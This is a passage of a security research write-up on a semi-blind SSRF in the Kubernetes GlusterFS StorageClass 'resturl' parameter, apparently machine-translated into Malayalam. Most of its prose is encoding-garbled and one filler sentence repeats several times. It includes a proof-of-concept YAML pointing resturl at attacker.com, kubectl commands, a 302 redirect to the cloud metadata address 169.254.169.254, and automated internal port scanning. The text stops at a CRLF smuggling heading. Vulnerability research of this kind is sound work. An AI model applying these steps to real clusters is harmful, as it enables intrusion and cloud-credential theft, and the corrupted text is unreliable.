เดšเต‡เตผเดคเตเดคเตเด•เตŠเดฃเตเดŸเต เดˆ เด…เดงเดฟเด• เดชเดพเดค เด’เดดเดฟเดตเดพเด•เตเด•เดพเตป เดžเด™เตเด™เตพ เดคเต€เดฐเตเดฎเดพเดจเดฟเดšเตเดšเต # เดชเดฐเดพเดฎเต€เดฑเตเดฑเดฑเดฟเตฝ resturl. เด’เดฐเต เดธเต†เดฎเดฟ-เดฌเตเดฒเตˆเตปเดกเต SSRF เดฆเตเตผเดฌเดฒเดค เดชเดฐเดฟเดถเต‹เดงเดฟเด•เตเด•เดพเตป เดžเด™เตเด™เตพ เด‰เดชเดฏเต‹เด—เดฟเดšเตเดš เด†เดฆเตเดฏเดคเตเดคเต† YAML เด•เต‹เตบเดซเดฟเด—เดฑเต‡เดทเตป เด‡เดคเดพ (เด…เตผเดฆเตเดง-เด…เดจเตเดงเดฎเดพเดฏ เด…เดฒเตเดฒเต†เด™เตเด•เดฟเตฝ เด…เตผเดฆเตเดง-เด…เดจเตเดงเดจเดพเดฏ SSRF-เดจเต† เด•เตเดฑเดฟเดšเตเดšเต เดจเดฟเด™เตเด™เตพเด•เตเด•เต เด•เต‚เดŸเตเดคเตฝ เดตเดพเดฏเดฟเด•เตเด•เดพเด‚, เด‰เดฆเดพเดนเดฐเดฃเดคเตเดคเดฟเดจเต, เด‡เดตเดฟเดŸเต† - เดเด•เดฆเต‡เดถเด‚. เดชเดฐเดฟเดญเดพเดท.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

เด•เตเดฌเตผเดจเต†เดฑเตเดฑเดธเต เด•เตเดฒเดธเตเดฑเตเดฑเดฑเดฟเดจเต† เดตเดฟเดฆเต‚เดฐเดฎเดพเดฏเดฟ เดจเดฟเดฏเดจเตเดคเตเดฐเดฟเด•เตเด•เดพเตป เดžเด™เตเด™เตพ เดฌเตˆเดจเดฑเดฟ เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต เด•เตเดฌเต†เด•เตเดฒเดฟ. เดธเดพเดงเดพเดฐเดฃเดฏเดพเดฏเดฟ, เด•เตเดฒเต—เดกเต เดฆเดพเดคเดพเด•เตเด•เตพ (Azure, Google, AWS, เดฎเตเดคเดฒเดพเดฏเดต) เดˆ เดฏเต‚เดŸเตเดŸเดฟเดฒเดฟเดฑเตเดฑเดฟเดฏเดฟเตฝ เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดจเตเดณเตเดณ เด•เตเดฐเต†เดกเตปเดทเตเดฏเดฒเตเด•เตพ เดจเต‡เดŸเดพเตป เดจเดฟเด™เตเด™เดณเต† เด…เดจเตเดตเดฆเดฟเด•เตเด•เตเดจเตเดจเต.

เด‡เดคเดฟเดจเต เดจเดจเตเดฆเดฟ, เดŽเดจเดฟเด•เตเด•เต เดŽเดจเตเดฑเต† "เดชเตเดฐเดคเตเดฏเต‡เด•" เดซเดฏเตฝ เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เดพเตป เด•เดดเดฟเดžเตเดžเต. เดคเดคเตเดซเดฒเดฎเดพเดฏเตเดฃเตเดŸเดพเด•เตเดจเตเดจ HTTP เด…เดญเตเดฏเตผเดคเตเดฅเดจ Kube-controller-manager เดจเดŸเดชเตเดชเดฟเดฒเดพเด•เตเด•เดฟ:

kubectl create -f sc-poc.yaml

เด‡เดคเต เด•เตเดฌเตผเดจเต†เดฑเตเดฑเดธเต เด•เต‡เดŸเตเดชเดพเดŸเตเด•เตพ เดฎเดพเดคเตเดฐเดฎเดฒเตเดฒ...
เด†เด•เตเดฐเดฎเดฃเด•เดพเดฐเดฟเดฏเตเดŸเต† เด•เดพเดดเตเดšเดชเตเดชเดพเดŸเดฟเตฝ เดจเดฟเดจเตเดจเตเดณเตเดณ เด‰เดคเตเดคเดฐเด‚

เด‡เดคเดฟเดจเต เดคเตŠเดŸเตเดŸเตเดชเดฟเดจเตเดจเดพเดฒเต†, เดŸเดพเตผเด—เต†เดฑเตเดฑเต เดธเต†เตผเดตเดฑเดฟเตฝ เดจเดฟเดจเตเดจเต - เด•เดฎเดพเตปเดกเตเด•เตพ เดตเดดเดฟ เด’เดฐเต HTTP เดชเตเดฐเดคเดฟเด•เดฐเดฃเด‚ เดธเตเดตเต€เด•เดฐเดฟเด•เตเด•เดพเดจเตเด‚ เดžเด™เตเด™เตพเด•เตเด•เต เด•เดดเดฟเดžเตเดžเต describe pvc เด…เดฅเดตเดพ get events kubectl เตฝ. เดคเต€เตผเดšเตเดšเดฏเดพเดฏเตเด‚: เดˆ เดกเดฟเดซเต‹เตพเดŸเตเดŸเต Kubernetes เดกเตเดฐเตˆเดตเตผ เด…เดคเดฟเดจเตเดฑเต† เดฎเตเดจเตเดจเดฑเดฟเดฏเดฟเดชเตเดชเตเด•เตพ/เดชเดฟเดถเด•เต เดธเดจเตเดฆเต‡เดถเด™เตเด™เดณเดฟเตฝ เดตเดณเดฐเต† เดตเดพเดšเดพเดฒเดฎเดพเดฃเต...

เดฒเดฟเด™เตเด•เต เด‰เดณเตเดณ เด’เดฐเต เด‰เดฆเดพเดนเดฐเดฃเด‚ เด‡เดคเดพ https://www.google.frเดชเดฐเดพเดฎเต€เดฑเตเดฑเดฑเดพเดฏเดฟ เดธเดœเตเดœเดฎเดพเด•เตเด•เตเด• resturl:

kubectl describe pvc poc-ssrf
# ะธะปะธ ะถะต ะผะพะถะตั‚ะต ะฒะพัะฟะพะปัŒะทะพะฒะฐั‚ัŒัั kubectl get events

เด‡เดคเต เด•เตเดฌเตผเดจเต†เดฑเตเดฑเดธเต เด•เต‡เดŸเตเดชเดพเดŸเตเด•เตพ เดฎเดพเดคเตเดฐเดฎเดฒเตเดฒ...

เดˆ เดธเดฎเต€เดชเดจเดคเตเดคเดฟเตฝ, เดžเด™เตเด™เตพ เดชเต‹เดฒเตเดณเตเดณ เดšเต‹เดฆเตเดฏเด™เตเด™เดณเดฟเตฝ เด’เดคเตเด™เตเด™เดฟ HTTP เดชเต‹เดธเตเดฑเตเดฑเต เดฑเดฟเดŸเตเดŸเต‡เตบ เด•เต‹เดกเต เด†เดฃเต†เด™เตเด•เดฟเตฝ เดชเตเดฐเดคเดฟเด•เดฐเดฃ เดฌเต‹เดกเดฟเดฏเตเดŸเต† เด‰เดณเตเดณเดŸเด•เตเด•เด‚ เดฒเดญเดฟเด•เตเด•เดฟเดฒเตเดฒ 201. เด…เดคเดฟเดจเดพเตฝ, เด•เต‚เดŸเตเดคเตฝ เด—เดตเต‡เดทเดฃเด‚ เดจเดŸเดคเตเดคเดพเตป เดžเด™เตเด™เตพ เดคเต€เดฐเตเดฎเดพเดจเดฟเด•เตเด•เตเด•เดฏเตเด‚ เดชเตเดคเดฟเดฏ เดธเดฎเต€เดชเดจเด™เตเด™เดณเดฟเดฒเต‚เดŸเต† เดˆ เดนเดพเด•เตเด•เดฟเด‚เด—เต เดฐเด‚เด—เด‚ เดตเดฟเดชเตเดฒเต€เด•เดฐเดฟเด•เตเด•เตเด•เดฏเตเด‚ เดšเต†เดฏเตเดคเต.

เดžเด™เตเด™เดณเตเดŸเต† เด—เดตเต‡เดทเดฃเดคเตเดคเดฟเดจเตเดฑเต† เดชเดฐเดฟเดฃเดพเดฎเด‚

  • เดตเดฟเดชเตเดฒเดฎเดพเดฏ เดธเดพเดนเดšเดฐเตเดฏเด‚ #1: เด’เดฐเต เดฌเดพเดนเตเดฏ เดธเต†เตผเดตเดฑเดฟเตฝ เดจเดฟเดจเตเดจเต 302 เดฑเต€เดกเดฏเดฑเด•เตโ€ŒเดŸเต เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต, เด†เดจเตเดคเดฐเดฟเด• เดกเดพเดฑเตเดฑ เดถเต‡เด–เดฐเดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดจเต เด•เต‚เดŸเตเดคเตฝ เดตเดดเด•เตเด•เดฎเตเดณเตเดณ เดฎเดพเตผเด—เด‚ เดจเตฝเด•เตเดจเตเดจเดคเดฟเดจเต HTTP เดฐเต€เดคเดฟ เดฎเดพเดฑเตเดฑเตเด•.
  • เดตเดฟเดชเตเดฒเดฎเดพเดฏ เดธเดพเดนเดšเดฐเตเดฏเด‚ #2: LAN เดธเตเด•เดพเดจเดฟเด‚เด—เตเด‚ เด†เดจเตเดคเดฐเดฟเด• เด‰เดฑเดตเดฟเดŸ เด•เดฃเตเดŸเต†เดคเตเดคเดฒเตเด‚ เด“เดŸเตเดŸเต‹เดฎเต‡เดฑเตเดฑเต เดšเต†เดฏเตเดฏเตเด•.
  • เดตเดฟเดชเตเดฒเดฎเดพเดฏ เดธเดพเดนเดšเดฐเตเดฏเด‚ #3: HTTP CRLF + เด•เดณเตเดณเด•เตเด•เดŸเดคเตเดคเต ("เด…เดญเตเดฏเตผเดคเตเดฅเดจ เด•เดณเตเดณเด•เตเด•เดŸเดคเตเดคเต") เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต, เด…เดจเตเดฏเต‹เดœเตเดฏเดฎเดพเดฏ HTTP เด…เดญเตเดฏเตผเดคเตเดฅเดจเด•เตพ เดธเตƒเดทเตโ€ŒเดŸเดฟเด•เตเด•เดพเดจเตเด‚ kube-controller เดฒเต‹เด—เตเด•เดณเดฟเตฝ เดจเดฟเดจเตเดจเต เดตเต‡เตผเดคเดฟเดฐเดฟเดšเตเดšเต†เดŸเตเดคเตเดค เดกเดพเดฑเตเดฑ เดตเต€เดฃเตเดŸเต†เดŸเตเด•เตเด•เดพเดจเตเด‚.

เดธเดพเด™เตเด•เต‡เดคเดฟเด• เดธเดตเดฟเดถเต‡เดทเดคเด•เดณเตเด‚

  • เดตเดŸเด•เตเด•เตป เดฏเต‚เดฑเต‹เดชเตเดชเต เดฎเต‡เด–เดฒเดฏเดฟเตฝ เด•เตเดฌเตผเดจเต†เดฑเตเดฑเดธเต เดชเดคเดฟเดชเตเดชเต 1.12 เด‰เดณเตเดณ เด…เดธเตเตผ เด•เตเดฌเตผเดจเต†เดฑเตเดฑเดธเต เดธเตผเดตเต€เดธเต (เดŽเด•เต†เดŽเดธเต) เด—เดตเต‡เดทเดฃเด‚ เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต.
  • เดฎเตเด•เดณเดฟเตฝ เดตเดฟเดตเดฐเดฟเดšเตเดš เดธเดพเดนเดšเดฐเตเดฏเด™เตเด™เตพ เด•เตเดฌเตผเดจเต†เดฑเตเดฑเดธเดฟเดจเตเดฑเต† เดเดฑเตเดฑเดตเตเด‚ เดชเตเดคเดฟเดฏ เดฑเดฟเดฒเต€เดธเตเด•เดณเดฟเตฝ เดจเดŸเดชเตเดชเดฟเดฒเดพเด•เตเด•เดฟเดฏเดคเดพเดฃเต, เดฎเต‚เดจเตเดจเดพเดฎเดคเตเดคเต† เดธเดพเดนเดšเดฐเตเดฏเด‚ เด’เดดเดฟเด•เต†, เด•เดพเดฐเดฃเด‚ เด—เต‹เดฒเดพเด™เต เดชเดคเดฟเดชเตเดชเต โ‰ค 1.12 เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต เดจเดฟเตผเดฎเตเดฎเดฟเดšเตเดš เด•เตเดฌเตผเดจเต†เดฑเตเดฑเดธเต เด…เดฆเตเดฆเต‡เดนเดคเตเดคเดฟเดจเต เด†เดตเดถเตเดฏเดฎเดพเดฏเดฟเดฐเตเดจเตเดจเต.
  • เด†เด•เตเดฐเดฎเดฃเด•เดพเดฐเดฟเดฏเตเดŸเต† เดฌเดพเดนเตเดฏ เดธเต†เตผเดตเตผ - https://attacker.com.

เดตเดฟเดชเตเดฒเดฎเดพเดฏ เดธเดพเดนเดšเดฐเตเดฏเด‚ #1: เด’เดฐเต HTTP POST เด…เดญเตเดฏเตผเดคเตเดฅเดจ GET-เดฒเต‡เด•เตเด•เต เดฑเต€เดกเดฏเดฑเด•เตโ€ŒเดŸเต เดšเต†เดฏเตเดฏเตเด•เดฏเตเด‚ เดธเต†เตปเดธเดฟเดฑเตเดฑเต€เดตเต เดกเดพเดฑเตเดฑ เดธเตเดตเต€เด•เดฐเดฟเด•เตเด•เตเด•เดฏเตเด‚ เดšเต†เดฏเตเดฏเตเดจเตเดจเต

เด†เด•เตเดฐเดฎเดฃเด•เดพเดฐเดฟเดฏเตเดŸเต† เดธเต†เตผเดตเดฑเดฟเดจเตเดฑเต† เด•เต‹เตบเดซเดฟเด—เดฑเต‡เดทเตป เดตเดดเดฟ เดฏเดฅเดพเตผเดคเตเดฅ เดฐเต€เดคเดฟ เดฎเต†เดšเตเดšเดชเตเดชเต†เดŸเตเดคเตเดคเดฟ 302 HTTP เดฑเต€เด•เต‹เดกเตเด’เดฐเต POST เด…เดญเตเดฏเตผเดคเตเดฅเดจ เด’เดฐเต GET เด…เดญเตเดฏเตผเดคเตเดฅเดจเดฏเดพเดฏเดฟ เดชเดฐเดฟเดตเตผเดคเตเดคเดจเด‚ เดšเต†เดฏเตเดฏเดพเตป (เดกเดฏเด—เตเดฐเดพเดฎเดฟเดฒเต† เด˜เดŸเตเดŸเด‚ 4):

เด‡เดคเต เด•เตเดฌเตผเดจเต†เดฑเตเดฑเดธเต เด•เต‡เดŸเตเดชเดพเดŸเตเด•เตพ เดฎเดพเดคเตเดฐเดฎเดฒเตเดฒ...

เด•เตเดฒเดฏเดจเตเดฑเดฟเตฝเดจเดฟเดจเตเดจเต เดตเดฐเตเดจเตเดจ เด†เดฆเตเดฏ เด…เดญเตเดฏเตผเดคเตเดฅเดจ (3). เด—เตเดฒเดธเตเดฑเตเดฑเตผเดŽเดซเตเดŽเดธเต (เด•เตบเดŸเตเดฐเต‹เดณเตผ เดฎเดพเดจเต‡เดœเตผ), เด’เดฐเต POST เดคเดฐเดฎเตเดฃเตเดŸเต. เดˆ เด˜เดŸเตเดŸเด™เตเด™เตพ เดชเดพเดฒเดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดฒเต‚เดŸเต†, เดžเด™เตเด™เตพเด•เตเด•เต เด‡เดคเต เด’เดฐเต GET เด†เด•เตเด•เดฟ เดฎเดพเดฑเตเดฑเดพเตป เด•เดดเดฟเดžเตเดžเต:

  • เด’เดฐเต เดชเดฐเดพเดฎเต€เดฑเตเดฑเดฑเดพเดฏเดฟ resturl StorageClass-เตฝ เด…เดคเต เดธเต‚เดšเดฟเดชเตเดชเดฟเดšเตเดšเดฟเดฐเดฟเด•เตเด•เตเดจเตเดจเต http://attacker.com/redirect.php.
  • เด…เดตเดธเดพเดจ เดชเต‹เดฏเดฟเดจเตเดฑเต https://attacker.com/redirect.php เด‡เดจเดฟเดชเตเดชเดฑเดฏเตเดจเตเดจ เดฒเตŠเด•เตเด•เต‡เดทเตป เดนเต†เดกเดฑเดฟเดจเตŠเดชเตเดชเด‚ 302 HTTP เดธเตเดฑเตเดฑเดพเดฑเตเดฑเดธเต เด•เต‹เดกเต เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต เดชเตเดฐเดคเดฟเด•เดฐเดฟเด•เตเด•เตเดจเตเดจเต: http://169.254.169.254. เด‡เดคเต เดฎเดฑเตเดฑเต‡เดคเต†เด™เตเด•เดฟเดฒเตเด‚ เด†เดจเตเดคเดฐเดฟเด• เด‰เดฑเดตเดฟเดŸเดฎเดพเด•เดพเด‚ - เดˆ เดธเดพเดนเดšเดฐเตเดฏเดคเตเดคเดฟเตฝ, เดฑเต€เดกเดฏเดฑเด•เตโ€ŒเดŸเต เดฒเดฟเด™เตเด•เต เด’เดฐเต เด‰เดฆเดพเดนเดฐเดฃเดฎเดพเดฏเดฟ เดฎเดพเดคเตเดฐเด‚ เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เตเดจเตเดจเต.
  • เดธเตเดฅเดฟเดฐเดฎเดพเดฏเดฟ net/http เดฒเตˆเดฌเตเดฐเดฑเดฟ Golang เด…เดญเตเดฏเตผเดคเตเดฅเดจ เดฑเต€เดกเดฏเดฑเด•เตโ€ŒเดŸเต เดšเต†เดฏเตเดฏเตเด•เดฏเตเด‚ POST เดจเต† 302 เดธเตเดฑเตเดฑเดพเดฑเตเดฑเดธเต เด•เต‹เดกเตเดณเตเดณ GET เด†เดฏเดฟ เดชเดฐเดฟเดตเตผเดคเตเดคเดจเด‚ เดšเต†เดฏเตเดฏเตเด•เดฏเตเด‚ เดšเต†เดฏเตเดฏเตเดจเตเดจเต, เด…เดคเดฟเดจเตเดฑเต† เดซเดฒเดฎเดพเดฏเดฟ เดŸเดพเตผเด—เต†เดฑเตเดฑเต เดฑเดฟเดธเต‹เดดเตโ€Œเดธเดฟเดฒเต‡เด•เตเด•เต HTTP GET เด…เดญเตเดฏเตผเดคเตเดฅเดจ เดฒเดญเดฟเด•เตเด•เตเดจเตเดจเต.

HTTP เดชเตเดฐเดคเดฟเด•เดฐเดฃ เดฌเต‹เดกเดฟ เดตเดพเดฏเดฟเด•เตเด•เดพเตป เดจเดฟเด™เตเด™เตพ เดšเต†เดฏเตเดฏเต‡เดฃเตเดŸเดคเต เด†เดตเดถเตเดฏเดฎเดพเดฃเต describe เดชเดฟเดตเดฟเดธเดฟ เด’เดฌเตเดœเด•เตเดฑเตเดฑเต:

kubectl describe pvc xxx

เดžเด™เตเด™เตพเด•เตเด•เต เดธเตเดตเต€เด•เดฐเดฟเด•เตเด•เดพเตป เด•เดดเดฟเดžเตเดž JSON เดซเต‹เตผเดฎเดพเดฑเตเดฑเดฟเดฒเตเดณเตเดณ เด’เดฐเต HTTP เดชเตเดฐเดคเดฟเด•เดฐเดฃเดคเตเดคเดฟเดจเตเดฑเต† เด’เดฐเต เด‰เดฆเดพเดนเดฐเดฃเด‚ เด‡เดคเดพ:

เด‡เดคเต เด•เตเดฌเตผเดจเต†เดฑเตเดฑเดธเต เด•เต‡เดŸเตเดชเดพเดŸเตเด•เตพ เดฎเดพเดคเตเดฐเดฎเดฒเตเดฒ...

เด‡เดจเดฟเดชเตเดชเดฑเดฏเตเดจเตเดจ เดชเต‹เดฏเดฟเดจเตเดฑเตเด•เตพ เด•เดพเดฐเดฃเด‚ เด…เด•เตเด•เดพเดฒเดคเตเดคเต เด•เดฃเตเดŸเต†เดคเตเดคเดฟเดฏ เดฆเตเตผเดฌเดฒเดคเดฏเตเดŸเต† เด•เดดเดฟเดตเตเด•เตพ เดชเดฐเดฟเดฎเดฟเดคเดฎเดพเดฏเดฟเดฐเตเดจเตเดจเต:

  • เด”เดŸเตเดŸเตโ€Œเด—เต‹เดฏเดฟเด‚เด—เต เด…เดญเตเดฏเตผเดคเตเดฅเดจเดฏเดฟเตฝ HTTP เดคเดฒเด•เตเด•เต†เดŸเตเดŸเตเด•เตพ เดšเต‡เตผเด•เตเด•เดพเดจเตเดณเตเดณ เด•เดดเดฟเดตเดฟเดฒเตเดฒเดพเดฏเตเดฎ.
  • เดฌเต‹เดกเดฟเดฏเดฟเดฒเต† เดชเดพเดฐเดพเดฎเต€เดฑเตเดฑเดฑเตเด•เตพ เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต เด’เดฐเต POST เด…เดญเตเดฏเตผเดคเตเดฅเดจ เดจเดŸเดคเตเดคเดพเดจเตเดณเตเดณ เด•เดดเดฟเดตเดฟเดฒเตเดฒเดพเดฏเตเดฎ (เด‡เดคเต เดชเตเดฐเดตเตผเดคเตเดคเดฟเด•เตเด•เตเดจเตเดจ เด’เดฐเต etcd เด‰เดฆเดพเดนเดฐเดฃเดคเตเดคเดฟเตฝ เดจเดฟเดจเตเดจเต เด•เต€ เดฎเต‚เดฒเตเดฏเด‚ เด…เดญเตเดฏเตผเดคเตเดฅเดฟเด•เตเด•เดพเตป เดธเต—เด•เดฐเตเดฏเดชเตเดฐเดฆเดฎเดพเดฃเต 2379 เดŽเตปเด•เตเดฐเดฟเดชเตเดฑเตเดฑเต เดšเต†เดฏเตเดฏเดพเดคเตเดค HTTP เด†เดฃเต†เด™เตเด•เดฟเตฝ เดชเต‹เตผเดŸเตเดŸเต).
  • เดธเตเดฑเตเดฑเดพเดฑเตเดฑเดธเต เด•เต‹เดกเต 200 เด†เดฏเดฟเดฐเตเดจเตเดจเดชเตเดชเต‹เตพ เดชเตเดฐเดคเดฟเด•เดฐเดฃ เดฌเต‹เดกเดฟ เด‰เดณเตเดณเดŸเด•เตเด•เด‚ เดตเต€เดฃเตเดŸเต†เดŸเตเด•เตเด•เดพเตป เด•เดดเดฟเดฏเดพเดคเต† เดตเดฐเดฟเด•เดฏเตเด‚ เดชเตเดฐเดคเดฟเด•เดฐเดฃเดคเตเดคเดฟเดจเต JSON เด‰เดณเตเดณเดŸเด•เตเด•-เดคเดฐเด‚ เด‡เดฒเตเดฒเดพเดคเดฟเดฐเดฟเด•เตเด•เตเด•เดฏเตเด‚ เดšเต†เดฏเตเดฏเตเดจเตเดจเต.

เดตเดฟเดชเตเดฒเดฎเดพเดฏ เดธเดพเดนเดšเดฐเตเดฏเด‚ #2: เดชเตเดฐเดพเดฆเต‡เดถเดฟเด• เดจเต†เดฑเตเดฑเตโ€Œเดตเตผเด•เตเด•เต เดธเตเด•เดพเตป เดšเต†เดฏเตเดฏเตเดจเตเดจเต

เด•เตเดฒเต—เดกเต เดฆเดพเดคเดพเดตเดฟเดจเตเดฑเต† เด†เดจเตเดคเดฐเดฟเด• เดจเต†เดฑเตเดฑเตโ€Œเดตเตผเด•เตเด•เต เดธเตโ€Œเด•เดพเตป เดšเต†เดฏเตเดฏเดพเดจเตเด‚ เดชเตเดฐเดคเดฟเด•เดฐเดฃเด™เตเด™เดณเต† เด…เดŸเดฟเดธเตเดฅเดพเดจเดฎเดพเด•เตเด•เดฟ เดตเดฟเดตเดฟเดง เดฒเดฟเดธเดฃเดฟเด‚เด—เต เดธเต‡เดตเดจเด™เตเด™เตพ (เดฎเต†เดฑเตเดฑเดพเดกเดพเดฑเตเดฑ เด‡เตปเดธเตโ€Œเดฑเตเดฑเตปเดธเต, เด•เตเดฌเต†เดฒเต†เดฑเตเดฑเต, เดฎเตเดคเดฒเดพเดฏเดต) เดชเต‹เตพ เดšเต†เดฏเตเดฏเดพเดจเตเด‚ เดˆ เด…เตผเดฆเตเดง-เด…เดจเตเดงเดฎเดพเดฏ SSRF เดฐเต€เดคเดฟ เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต. kube เด•เตบเดŸเตเดฐเต‹เดณเตผ.

เด‡เดคเต เด•เตเดฌเตผเดจเต†เดฑเตเดฑเดธเต เด•เต‡เดŸเตเดชเดพเดŸเตเด•เตพ เดฎเดพเดคเตเดฐเดฎเดฒเตเดฒ...

เด†เดฆเตเดฏเด‚, Kubernetes เด˜เดŸเด•เด™เตเด™เดณเตเดŸเต† เดธเตเดฑเตเดฑเดพเตปเดกเต‡เตผเดกเต เดฒเดฟเดธเดฃเดฟเด‚เด—เต เดชเต‹เตผเดŸเตเดŸเตเด•เตพ เดจเดฟเตผเดฃเตเดฃเดฏเดฟเดšเตเดšเต (8443, 10250, 10251, เดฎเตเดคเดฒเดพเดฏเดต), เดคเตเดŸเตผเดจเตเดจเต เดžเด™เตเด™เตพ เดธเตเด•เดพเดจเดฟเด‚เด—เต เดชเตเดฐเด•เตเดฐเดฟเดฏ เด“เดŸเตเดŸเต‹เดฎเต‡เดฑเตเดฑเต เดšเต†เดฏเตเดฏเต‡เดฃเตเดŸเดคเตเดฃเตเดŸเต.

เดฑเดฟเดธเต‹เดดเตโ€Œเดธเตเด•เตพ เดธเตเด•เดพเตป เดšเต†เดฏเตเดฏเตเดจเตเดจเดคเดฟเดจเตเดณเตเดณ เดˆ เดฐเต€เดคเดฟ เดตเดณเดฐเต† เดจเดฟเตผเดฆเตเดฆเดฟเดทเตเดŸเดตเตเด‚ เด•เตเดฒเดพเดธเดฟเด•เต เดธเตเด•เดพเดจเดฑเตเด•เตพเด•เตเด•เตเด‚ SSRF เดŸเต‚เดณเตเด•เตพเด•เตเด•เตเด‚ เด…เดจเตเดฏเต‹เดœเตเดฏเดฎเดฒเตเดฒเต†เดจเตเดจเตเด‚ เด•เดฃเตเดŸเดคเดฟเดจเดพเตฝ, เดฎเตเดดเตเดตเตป เดชเตเดฐเด•เตเดฐเดฟเดฏเดฏเตเด‚ เด“เดŸเตเดŸเต‹เดฎเต‡เดฑเตเดฑเต เดšเต†เดฏเตเดฏเตเดจเตเดจ เด’เดฐเต เดฌเดพเดทเต เดธเตเด•เตเดฐเดฟเดชเตเดฑเตเดฑเดฟเตฝ เดžเด™เตเด™เดณเตเดŸเต† เดธเตเดตเดจเตเดคเด‚ เดคเตŠเดดเดฟเดฒเดพเดณเดฟเด•เดณเต† เดธเตƒเดทเตเดŸเดฟเด•เตเด•เดพเตป เดžเด™เตเด™เตพ เดคเต€เดฐเตเดฎเดพเดจเดฟเดšเตเดšเต.

เด‰เดฆเดพเดนเดฐเดฃเดคเตเดคเดฟเดจเต, เด†เดจเตเดคเดฐเดฟเด• เดจเต†เดฑเตเดฑเตโ€Œเดตเตผเด•เตเด•เดฟเดจเตเดฑเต† 172.16.0.0/12 เดถเตเดฐเต‡เดฃเดฟ เดตเต‡เด—เดคเตเดคเดฟเตฝ เดธเตเด•เดพเตป เดšเต†เดฏเตเดฏเตเดจเตเดจเดคเดฟเดจเดพเดฏเดฟ, 15 เดคเตŠเดดเดฟเดฒเดพเดณเดฟเด•เดณเต† เดธเดฎเดพเดจเตเดคเดฐเดฎเดพเดฏเดฟ เดธเดฎเดพเดฐเด‚เดญเดฟเดšเตเดšเต. เดฎเตเด•เดณเดฟเดฒเตเดณเตเดณ IP เดถเตเดฐเต‡เดฃเดฟ เด’เดฐเต เด‰เดฆเดพเดนเดฐเดฃเดฎเดพเดฏเดฟ เดฎเดพเดคเตเดฐเด‚ เดคเดฟเดฐเดžเตเดžเต†เดŸเตเดคเตเดคเต, เด…เดคเต เดจเดฟเด™เตเด™เดณเตเดŸเต† เดจเดฟเตผเดฆเตเดฆเดฟเดทเตเดŸ เดธเต‡เดตเดจ เดฆเดพเดคเดพเดตเดฟเดจเตเดฑเต† IP เดถเตเดฐเต‡เดฃเดฟเดฏเดฟเดฒเต‡เด•เตเด•เต เดฎเดพเดฑเตเดฑเดคเตเดคเดฟเดจเต เดตเดฟเดงเต‡เดฏเดฎเดพเดฏเต‡เด•เตเด•เดพเด‚.

เด’เดฐเต IP เดตเดฟเดฒเดพเดธเดตเตเด‚ เด’เดฐเต เดชเต‹เตผเดŸเตเดŸเตเด‚ เดธเตเด•เดพเตป เดšเต†เดฏเตเดฏเตเดจเตเดจเดคเดฟเดจเต, เดจเดฟเด™เตเด™เตพ เด‡เดจเดฟเดชเตเดชเดฑเดฏเตเดจเตเดจเดต เดšเต†เดฏเตเดฏเต‡เดฃเตเดŸเดคเตเดฃเตเดŸเต:

  • เด…เดตเดธเดพเดจเด‚ เดชเดฐเดฟเดถเต‹เดงเดฟเดšเตเดš StorageClass เด‡เดฒเตเดฒเดพเดคเดพเด•เตเด•เตเด•;
  • เดฎเตเดฎเตเดชเต เดชเดฐเดฟเดถเต‹เดงเดฟเดšเตเดš เดชเต†เตผเดธเดฟเดธเตเดฑเตเดฑเดจเตเดฑเต เดตเต‹เดณเดฟเดฏเด‚ เด•เตเดฒเต†เดฏเดฟเด‚ เดจเต€เด•เตเด•เด‚ เดšเต†เดฏเตเดฏเตเด•;
  • IP, เดชเต‹เตผเดŸเตเดŸเต เดฎเต‚เดฒเตเดฏเด™เตเด™เตพ เดฎเดพเดฑเตเดฑเตเด• sc.yaml;
  • เด’เดฐเต เดชเตเดคเดฟเดฏ เดเดชเดฟเดฏเตเด‚ เดชเต‹เตผเดŸเตเดŸเตเด‚ เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต เด’เดฐเต เดธเตเดฑเตเดฑเต‹เดฑเต‡เดœเตเด•เตเดฒเดพเดธเต เดธเตƒเดทเตเดŸเดฟเด•เตเด•เตเด•;
  • เด’เดฐเต เดชเตเดคเดฟเดฏ เดชเดฟเดตเดฟเดธเดฟ เดธเตƒเดทเตเดŸเดฟเด•เตเด•เตเด•;
  • PVC-เดฏเตเดŸเต† เดตเดฟเดตเดฐเดฃเด‚ เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต เดธเตเด•เดพเตป เดซเดฒเด™เตเด™เตพ เดŽเด•เตเดธเตเดŸเตเดฐเดพเด•เตเดฑเตเดฑเต เดšเต†เดฏเตเดฏเตเด•.

เดตเดฟเดชเตเดฒเดฎเดพเดฏ เดธเดพเดนเดšเดฐเตเดฏเด‚ #3: CRLF เด•เตเดคเตเดคเดฟเดตเดฏเตเดชเตเดชเต + เด•เตเดฌเตผเดจเต†เดฑเตเดฑเดธเต เด•เตเดฒเดธเตเดฑเตเดฑเดฑเดฟเดจเตเดฑเต† "เดชเดดเดฏ" เดชเดคเดฟเดชเตเดชเตเด•เดณเดฟเตฝ HTTP เด•เดณเตเดณเด•เตเด•เดŸเดคเตเดคเต

